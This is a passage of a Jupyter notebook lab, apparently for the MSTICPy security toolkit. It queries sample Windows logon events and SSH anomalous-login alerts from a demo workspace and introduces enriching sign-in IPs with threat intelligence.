       "0  00000000-0000-0000-0000-000000000001 2019-02-11 08:40:40.387   \n",
       "1  00000000-0000-0000-0000-000000000001 2019-02-11 08:40:40.387   \n",
       "2  00000000-0000-0000-0000-000000000001 2019-02-11 08:40:40.387   \n",
       "3  00000000-0000-0000-0000-000000000001 2019-02-11 08:40:40.387   \n",
       "4  00000000-0000-0000-0000-000000000001 2019-02-11 08:40:40.387   \n",
       "\n",
       "                        ManagementGroupName           Type  \\\n",
       "0  AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0  SecurityEvent   \n",
       "1  AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0  SecurityEvent   \n",
       "2  AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0  SecurityEvent   \n",
       "3  AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0  SecurityEvent   \n",
       "4  AOI-52b1ab41-869e-4138-9e40-2a4457f09bf0  SecurityEvent   \n",
       "\n",
       "                                                                                           _ResourceId  \\\n",
       "0  /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...   \n",
       "1  /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...   \n",
       "2  /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...   \n",
       "3  /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...   \n",
       "4  /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/provide...   \n",
       "\n",
       "                                                                                       EventProperties  \n",
       "0  {'TargetUserName': 'Remote Desktop Users', 'TargetDomainName': 'Builtin', 'TargetSid': 'S-1-5-32...  \n",
       "1  {'TargetUserName': 'Administrators', 'TargetDomainName': 'Builtin', 'TargetSid': 'S-1-5-32-544',...  \n",
       "2  {'TargetUserName': 'MSTICAdmin', 'TargetDomainName': 'MSTICAlertsWin1', 'TargetSid': 'S-1-5-21-9...  \n",
       "3  {'TargetUserName': 'DefaultAccount', 'TargetDomainName': 'MSTICAlertsWin1', 'TargetSid': 'S-1-5-...  \n",
       "4  {'TargetUserName': 'Guest', 'TargetDomainName': 'MSTICAlertsWin1', 'TargetSid': 'S-1-5-21-996632...  \n",
       "\n",
       "[5 rows x 226 columns]"
      ]
     },
     "execution_count": 7,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "events = qry_prov.WindowsSecurity.list_host_events()\n",
    "events.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<div class=\"alert alert-block alert-success\">\n",
    "<h3>Lab Exercise 1</h3>\n",
    "In the cell below write code that uses the query provider created above (`qry_prov`) to get data relating to security alerts using a built-in query. You can use the query browser above to find the most suitable query to run.\n",
    "\n",
    "<details>\n",
    "    <summary>Hint:</summary>\n",
    "    Queries relating to security alerts are part of the SecurityAlert query type.\n",
    "</details>\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>AlertDisplayName</th>\n",
       "      <th>AlertName</th>\n",
       "      <th>Severity</th>\n",
       "      <th>Description</th>\n",
       "      <th>ProviderName</th>\n",
       "      <th>VendorName</th>\n",
       "      <th>VendorOriginalId</th>\n",
       "      <th>SystemAlertId</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>AlertType</th>\n",
       "      <th>ConfidenceLevel</th>\n",
       "      <th>ConfidenceScore</th>\n",
       "      <th>IsIncident</th>\n",
       "      <th>StartTimeUtc</th>\n",
       "      <th>EndTimeUtc</th>\n",
       "      <th>ProcessingEndTime</th>\n",
       "      <th>RemediationSteps</th>\n",
       "      <th>ExtendedProperties</th>\n",
       "      <th>Entities</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>WorkspaceSubscriptionId</th>\n",
       "      <th>WorkspaceResourceGroup</th>\n",
       "      <th>ExtendedLinks</th>\n",
       "      <th>ProductName</th>\n",
       "      <th>ProductComponentName</th>\n",
       "      <th>AlertLink</th>\n",
       "      <th>Type</th>\n",
       "      <th>CompromisedEntity</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-18 02:29:07</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>Low</td>\n",
       "      <td>Anomalous login detected for SSH account</td>\n",
       "      <td>CustomAlertRule</td>\n",
       "      <td>Alert Rule</td>\n",
       "      <td>b0e143b8-4fa8-47bc-8bc1-9780c8b75541</td>\n",
       "      <td>f1ce87ca-8863-4a66-a0bd-a4d3776a7c64</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698</td>\n",
       "      <td>Unknown</td>\n",
       "      <td>NaN</td>\n",
       "      <td>False</td>\n",
       "      <td>2019-02-18 01:49:02</td>\n",
       "      <td>2019-02-18 02:19:02</td>\n",
       "      <td>2019-02-18 02:29:07</td>\n",
       "      <td></td>\n",
       "      <td>{\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"23.97.60.214\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count...</td>\n",
       "      <td>Detection</td>\n",
       "      <td>40dcc8bf-0478-4f3b-b275-ed0a94f2c013</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>SecurityAlert</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-18 01:59:09</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>Low</td>\n",
       "      <td>Anomalous login detected for SSH account</td>\n",
       "      <td>CustomAlertRule</td>\n",
       "      <td>Alert Rule</td>\n",
       "      <td>4f454388-02d3-4ace-98bf-3a7e4fdef361</td>\n",
       "      <td>3968ef4e-b322-48ca-b297-e984aff8888d</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698</td>\n",
       "      <td>Unknown</td>\n",
       "      <td>NaN</td>\n",
       "      <td>False</td>\n",
       "      <td>2019-02-18 01:19:02</td>\n",
       "      <td>2019-02-18 01:49:02</td>\n",
       "      <td>2019-02-18 01:59:09</td>\n",
       "      <td></td>\n",
       "      <td>{\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"203.0.113.1\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count\"...</td>\n",
       "      <td>Detection</td>\n",
       "      <td>40dcc8bf-0478-4f3b-b275-ed0a94f2c013</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>SecurityAlert</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-18 02:29:07</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>Low</td>\n",
       "      <td>Anomalous login detected for SSH account</td>\n",
       "      <td>CustomAlertRule</td>\n",
       "      <td>Alert Rule</td>\n",
       "      <td>b0e143b8-4fa8-47bc-8bc1-9780c8b75541</td>\n",
       "      <td>3a78a119-abe9-4b5e-9786-300ddcfd9530</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698</td>\n",
       "      <td>Unknown</td>\n",
       "      <td>NaN</td>\n",
       "      <td>False</td>\n",
       "      <td>2019-02-18 01:49:02</td>\n",
       "      <td>2019-02-18 02:19:02</td>\n",
       "      <td>2019-02-18 02:29:07</td>\n",
       "      <td></td>\n",
       "      <td>{\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"23.97.60.214\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count...</td>\n",
       "      <td>Detection</td>\n",
       "      <td>40dcc8bf-0478-4f3b-b275-ed0a94f2c013</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>SecurityAlert</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-18 02:43:27</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>Low</td>\n",
       "      <td>Anomalous login detected for SSH account</td>\n",
       "      <td>CustomAlertRule</td>\n",
       "      <td>Alert Rule</td>\n",
       "      <td>3f27593a-db5b-4ef4-bdc5-f6ce1915f496</td>\n",
       "      <td>8f622935-1422-41e6-b8f6-9119e681645c</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698</td>\n",
       "      <td>Unknown</td>\n",
       "      <td>NaN</td>\n",
       "      <td>False</td>\n",
       "      <td>2019-02-18 01:33:19</td>\n",
       "      <td>2019-02-18 02:33:19</td>\n",
       "      <td>2019-02-18 02:43:27</td>\n",
       "      <td></td>\n",
       "      <td>{\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"23.97.60.214\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count...</td>\n",
       "      <td>Detection</td>\n",
       "      <td>40dcc8bf-0478-4f3b-b275-ed0a94f2c013</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>SecurityAlert</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>2019-02-18 01:54:11</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>Low</td>\n",
       "      <td>Anomalous login detected for SSH account</td>\n",
       "      <td>CustomAlertRule</td>\n",
       "      <td>Alert Rule</td>\n",
       "      <td>3cbe0028-14e8-43ad-8dc2-77c96d8bb015</td>\n",
       "      <td>64a2b4af-c3d7-422c-820b-7f1feb664222</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698</td>\n",
       "      <td>Unknown</td>\n",
       "      <td>NaN</td>\n",
       "      <td>False</td>\n",
       "      <td>2019-02-18 01:14:02</td>\n",
       "      <td>2019-02-18 01:44:02</td>\n",
       "      <td>2019-02-18 01:54:11</td>\n",
       "      <td></td>\n",
       "      <td>{\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"203.0.113.1\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count\"...</td>\n",
       "      <td>Detection</td>\n",
       "      <td>40dcc8bf-0478-4f3b-b275-ed0a94f2c013</td>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>SecurityAlert</td>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId       TimeGenerated  \\\n",
       "0  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-18 02:29:07   \n",
       "1  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-18 01:59:09   \n",
       "2  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-18 02:29:07   \n",
       "3  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-18 02:43:27   \n",
       "4  52b1ab41-869e-4138-9e40-2a4457f09bf0 2019-02-18 01:54:11   \n",
       "\n",
       "         AlertDisplayName               AlertName Severity  \\\n",
       "0  SSH Anomalous Login ML  SSH Anomalous Login ML      Low   \n",
       "1  SSH Anomalous Login ML  SSH Anomalous Login ML      Low   \n",
       "2  SSH Anomalous Login ML  SSH Anomalous Login ML      Low   \n",
       "3  SSH Anomalous Login ML  SSH Anomalous Login ML      Low   \n",
       "4  SSH Anomalous Login ML  SSH Anomalous Login ML      Low   \n",
       "\n",
       "                                Description     ProviderName  VendorName  \\\n",
       "0  Anomalous login detected for SSH account  CustomAlertRule  Alert Rule   \n",
       "1  Anomalous login detected for SSH account  CustomAlertRule  Alert Rule   \n",
       "2  Anomalous login detected for SSH account  CustomAlertRule  Alert Rule   \n",
       "3  Anomalous login detected for SSH account  CustomAlertRule  Alert Rule   \n",
       "4  Anomalous login detected for SSH account  CustomAlertRule  Alert Rule   \n",
       "\n",
       "                       VendorOriginalId                         SystemAlertId  \\\n",
       "0  b0e143b8-4fa8-47bc-8bc1-9780c8b75541  f1ce87ca-8863-4a66-a0bd-a4d3776a7c64   \n",
       "1  4f454388-02d3-4ace-98bf-3a7e4fdef361  3968ef4e-b322-48ca-b297-e984aff8888d   \n",
       "2  b0e143b8-4fa8-47bc-8bc1-9780c8b75541  3a78a119-abe9-4b5e-9786-300ddcfd9530   \n",
       "3  3f27593a-db5b-4ef4-bdc5-f6ce1915f496  8f622935-1422-41e6-b8f6-9119e681645c   \n",
       "4  3cbe0028-14e8-43ad-8dc2-77c96d8bb015  64a2b4af-c3d7-422c-820b-7f1feb664222   \n",
       "\n",
       "  ResourceId SourceComputerId  \\\n",
       "0                               \n",
       "1                               \n",
       "2                               \n",
       "3                               \n",
       "4                               \n",
       "\n",
       "                                              AlertType ConfidenceLevel  \\\n",
       "0  CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698         Unknown   \n",
       "1  CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698         Unknown   \n",
       "2  CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698         Unknown   \n",
       "3  CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698         Unknown   \n",
       "4  CustomAlertRule_0a4e5f7c-9756-45f8-83c4-94c756844698         Unknown   \n",
       "\n",
       "   ConfidenceScore  IsIncident        StartTimeUtc          EndTimeUtc  \\\n",
       "0              NaN       False 2019-02-18 01:49:02 2019-02-18 02:19:02   \n",
       "1              NaN       False 2019-02-18 01:19:02 2019-02-18 01:49:02   \n",
       "2              NaN       False 2019-02-18 01:49:02 2019-02-18 02:19:02   \n",
       "3              NaN       False 2019-02-18 01:33:19 2019-02-18 02:33:19   \n",
       "4              NaN       False 2019-02-18 01:14:02 2019-02-18 01:44:02   \n",
       "\n",
       "    ProcessingEndTime RemediationSteps  \\\n",
       "0 2019-02-18 02:29:07                    \n",
       "1 2019-02-18 01:59:09                    \n",
       "2 2019-02-18 02:29:07                    \n",
       "3 2019-02-18 02:43:27                    \n",
       "4 2019-02-18 01:54:11                    \n",
       "\n",
       "                                                                                    ExtendedProperties  \\\n",
       "0  {\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...   \n",
       "1  {\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...   \n",
       "2  {\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...   \n",
       "3  {\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...   \n",
       "4  {\\r\\n  \"Alert Mode\": \"Aggregated\",\\r\\n  \"Search Query\": \"{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subsc...   \n",
       "\n",
       "                                                                                              Entities  \\\n",
       "0  [\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"23.97.60.214\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count...   \n",
       "1  [\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"203.0.113.1\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count\"...   \n",
       "2  [\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"23.97.60.214\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count...   \n",
       "3  [\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"23.97.60.214\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count...   \n",
       "4  [\\r\\n  {\\r\\n    \"$id\": \"3\",\\r\\n    \"Address\": \"203.0.113.1\",\\r\\n    \"Type\": \"ip\",\\r\\n    \"Count\"...   \n",
       "\n",
       "  SourceSystem               WorkspaceSubscriptionId WorkspaceResourceGroup  \\\n",
       "0    Detection  40dcc8bf-0478-4f3b-b275-ed0a94f2c013  asihuntomsworkspacerg   \n",
       "1    Detection  40dcc8bf-0478-4f3b-b275-ed0a94f2c013  asihuntomsworkspacerg   \n",
       "2    Detection  40dcc8bf-0478-4f3b-b275-ed0a94f2c013  asihuntomsworkspacerg   \n",
       "3    Detection  40dcc8bf-0478-4f3b-b275-ed0a94f2c013  asihuntomsworkspacerg   \n",
       "4    Detection  40dcc8bf-0478-4f3b-b275-ed0a94f2c013  asihuntomsworkspacerg   \n",
       "\n",
       "  ExtendedLinks ProductName ProductComponentName AlertLink           Type  \\\n",
       "0                                                           SecurityAlert   \n",
       "1                                                           SecurityAlert   \n",
       "2                                                           SecurityAlert   \n",
       "3                                                           SecurityAlert   \n",
       "4                                                           SecurityAlert   \n",
       "\n",
       "  CompromisedEntity  \n",
       "0                    \n",
       "1                    \n",
       "2                    \n",
       "3                    \n",
       "4                    "
      ]
     },
     "execution_count": 8,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Get security alert data\n",
    "alerts = qry_prov.SecurityAlert.list_alerts()\n",
    "alerts.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Enrich Data\n",
    "A key analysis step for security analysts is to take a dataset, extract relevant elements and enrich it with another dataset to help filter it.\n",
    "A common example of this is taking IP addresses in log data and seeing if any of them appear in threat intelligence data.<br>\n",
    "\n",
    "In the cells below we use MSTICPy's query provider to get sign in event data, and then look up the IPs those sign-ins have come from against a threat intelligence providers API using the [MSTICPy threat intelligence](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html) features. In this case we are using the [GreyNoise](https://GreyNoise.io/) provider."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>Account</th>\n",
       "      <th>EventID</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>Computer</th>\n",
       "      <th>SubjectUserName</th>\n",
       "      <th>SubjectDomainName</th>\n",
       "      <th>SubjectUserSid</th>\n",
       "      <th>TargetUserName</th>\n",
       "      <th>TargetDomainName</th>\n",
       "      <th>TargetUserSid</th>\n",
       "      <th>TargetLogonId</th>\n",
       "      <th>LogonProcessName</th>\n",
       "      <th>LogonType</th>\n",
       "      <th>AuthenticationPackageName</th>\n",
       "      <th>Status</th>\n",
       "      <th>IpAddress</th>\n",
       "      <th>WorkstationName</th>\n",
       "      <th>TimeCreatedUtc</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>NT AUTHORITY\\SYSTEM</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-12 04:56:34.307</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>SYSTEM</td>\n",
       "      <td>NT AUTHORITY</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>Advapi</td>\n",
       "      <td>5</td>\n",
       "      <td>Negotiate</td>\n",
       "      <td></td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>2019-02-12 04:56:34.307</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-12 04:37:25.340</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>S-1-0-0</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>0xc90e957</td>\n",
       "      <td>NtLmSsp</td>\n",
       "      <td>3</td>\n",
       "      <td>NTLM</td>\n",
       "      <td></td>\n",
       "      <td>131.107.147.209</td>\n",
       "      <td>IANHELLE-DEV17</td>\n",
       "      <td>2019-02-12 04:37:25.340</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-12 04:37:27.997</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>S-1-0-0</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>0xc90ea44</td>\n",
       "      <td>NtLmSsp</td>\n",
       "      <td>3</td>\n",
       "      <td>NTLM</td>\n",
       "      <td></td>\n",
       "      <td>131.107.147.209</td>\n",
       "      <td>IANHELLE-DEV17</td>\n",
       "      <td>2019-02-12 04:37:27.997</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-12 04:38:16.550</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>S-1-0-0</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>0xc912d62</td>\n",
       "      <td>NtLmSsp</td>\n",
       "      <td>3</td>\n",
       "      <td>NTLM</td>\n",
       "      <td></td>\n",
       "      <td>131.107.147.209</td>\n",
       "      <td>IANHELLE-DEV17</td>\n",
       "      <td>2019-02-12 04:38:16.550</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "      <td>4624</td>\n",
       "      <td>2019-02-12 04:38:21.370</td>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>-</td>\n",
       "      <td>-</td>\n",
       "      <td>S-1-0-0</td>\n",
       "      <td>MSTICAdmin</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-21-996632719-2361334927-4038480536-500</td>\n",
       "      <td>0xc913737</td>\n",
       "      <td>NtLmSsp</td>\n",
       "      <td>3</td>\n",
       "      <td>NTLM</td>\n",
       "      <td></td>\n",
       "      <td>131.107.147.209</td>\n",
       "      <td>IANHELLE-DEV17</td>\n",
       "      <td>2019-02-12 04:38:21.370</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId                     Account  EventID  \\\n",
       "0  52b1ab41-869e-4138-9e40-2a4457f09bf0         NT AUTHORITY\\SYSTEM     4624   \n",
       "1  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4624   \n",
       "2  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4624   \n",
       "3  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4624   \n",
       "4  52b1ab41-869e-4138-9e40-2a4457f09bf0  MSTICAlertsWin1\\MSTICAdmin     4624   \n",
       "\n",
       "            TimeGenerated                      SourceComputerId  \\\n",
       "0 2019-02-12 04:56:34.307  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "1 2019-02-12 04:37:25.340  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "2 2019-02-12 04:37:27.997  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "3 2019-02-12 04:38:16.550  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "4 2019-02-12 04:38:21.370  263a788b-6526-4cdc-8ed9-d79402fe4aa0   \n",
       "\n",
       "          Computer   SubjectUserName SubjectDomainName SubjectUserSid  \\\n",
       "0  MSTICAlertsWin1  MSTICAlertsWin1$         WORKGROUP       S-1-5-18   \n",
       "1  MSTICAlertsWin1                 -                 -        S-1-0-0   \n",
       "2  MSTICAlertsWin1                 -                 -        S-1-0-0   \n",
       "3  MSTICAlertsWin1                 -                 -        S-1-0-0   \n",
       "4  MSTICAlertsWin1                 -                 -        S-1-0-0   \n",
       "\n",
       "  TargetUserName TargetDomainName  \\\n",
       "0         SYSTEM     NT AUTHORITY   \n",
       "1     MSTICAdmin  MSTICAlertsWin1   \n",
       "2     MSTICAdmin  MSTICAlertsWin1   \n",
       "3     MSTICAdmin  MSTICAlertsWin1   \n",
       "4     MSTICAdmin  MSTICAlertsWin1   \n",
       "\n",
       "                                  TargetUserSid TargetLogonId  \\\n",
       "0                                      S-1-5-18         0x3e7   \n",
       "1  S-1-5-21-996632719-2361334927-4038480536-500     0xc90e957   \n",
       "2  S-1-5-21-996632719-2361334927-4038480536-500     0xc90ea44   \n",
       "3  S-1-5-21-996632719-2361334927-4038480536-500     0xc912d62   \n",
       "4  S-1-5-21-996632719-2361334927-4038480536-500     0xc913737   \n",
       "\n",
       "  LogonProcessName  LogonType AuthenticationPackageName Status  \\\n",
